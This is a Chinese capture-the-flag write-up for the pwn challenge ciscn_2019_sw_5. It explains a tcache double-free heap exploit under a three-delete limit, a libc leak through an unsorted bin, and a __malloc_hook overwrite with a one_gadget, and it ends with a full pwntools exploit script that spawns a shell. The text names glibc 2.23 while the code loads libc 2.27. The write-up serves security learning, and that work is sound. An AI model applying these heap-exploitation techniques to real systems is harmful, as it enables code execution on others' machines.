ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,仅两个功能
其中,delete功能只能用3次,delete功能没有清空指针,存在double free漏洞。
Add功能,size不可控,结尾printf可以输出堆内容。
我们可以利用add结尾的printf输出,main_arean地址,那么,我们需要得到unsorted bin才行。由于delete功能仅有3次机会。Glibc版本为2.23,存在tcache,因此,我们先利用2次,构造一个double free,然后分配到tcache 的表头,篡改对应size的chunk count为-1,同时篡改对应0x80的chunk头chunk指针为伪造的chunk地址,由于不知道堆地址,因此,我们需要爆破半个字节。
首先,申请三个堆
#0
add('t1','a')
#1
add('t2','b')
#2前0x18字节将划给后面伪造的0x100的chunk
fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
add('t3',fake_chunk)
由于,我们要在0~2之间伪造一个0x100的chunk,因此,t3的前0x18字节划分给了伪造的chunk,而要想之后成功释放这个伪造的chunk,而不报错,我们还需要把后面剩余的部分修复好,因此,在t3里,我们修复剩余的空间为0x61的chunk。
接下来,double free,然后篡改next指针
#double free
delete(0)
delete(0)
#攻击tcache bin表头
add('\x1E\x70','a')
接下来,第一次申请,申请到0原来的位置,我们开始伪造chunk
#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))
我们伪造的chunk如上图,之所以这么伪造,是因为最后一次delete是要用来得到unsorted bin的,首先,当我们申请到0x280处时,0x100的tcache bin头变更为0x270。此时,我们delete掉0x100的伪造chunk后0x280处保留了main_arena地址。接下来我们申请0x270处,tcache bin头变更为0x268,我们填充数据到0x280,然后,就可以泄露出0x280处的main_arena值。接下来,我们申请到0x268,tcache bin头变更为0x280,然后我们从0x268处开始向后写数据,在0x280处写上malloc_hook的地址。此时,tcache链表的布局变成了
0x280——malloc_hook
因此,我们继续申请,就能申请到malloc_hook处,完成利用,十分巧妙。
#4修改tcache bin表头,修改0x80的头为heap_base + 0x280
payload = '\x00'*0x5A + p64(heap_base + 0x280)
#修改0x100的count为-1
add('\xFF',payload) #5
#申请到heap_base + 0x280处即伪造chunk
add('t1','a') #6
#得到unsorted bin
delete(6)
add('a'*0x8,'a'*0x10)
sh.recvuntil('a'*0x18)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
综上,完整的exp
#coding:utf8
from pwn import *
#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget_s = 0x10a38c
def add(title,content):
sh.sendlineafter('>>','1')
sh.sendafter('title:',title)
sh.sendafter('content:',content)
def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('index:',str(index))
def exploit():
#0
add('t1','a')
#1
add('t2','b')
#2前0x18字节将划给后面伪造的0x100的chunk
fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
add('t3',fake_chunk)
#double free
delete(0)
delete(0)
#攻击tcache bin表头
add('\x1E\x70','a')
sh.recvuntil('\n')
heap_base = u64(sh.recv(6).ljust(8,'\x00')) & (0xFFFFFFFFFFFFFF00)
print 'heap_base=',hex(heap_base)
#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))
#4修改tcache bin表头,修改0x80的头为heap_base + 0x280
payload = '\x00'*0x5A + p64(heap_base + 0x280)
#修改0x100的count为-1
add('\xFF',payload) #5
#申请到heap_base + 0x280处即伪造chunk
add('t1','a') #6
#得到unsorted bin
delete(6)
add('a'*0x8,'a'*0x10)
sh.recvuntil('a'*0x18)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#申请到heap_base+0x268处,覆盖0x280处的next指针
add('a','a'*0x10 + p64(malloc_hook_addr))
add('a','a')
#改写malloc_hook
add(p64(one_gadget_addr),'\x00')
#getshell
sh.sendlineafter('>>','1')
while True:
try:
global sh
sh = process('./ciscn_2019_sw_5')
#sh = remote('node3.buuoj.cn',29046)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'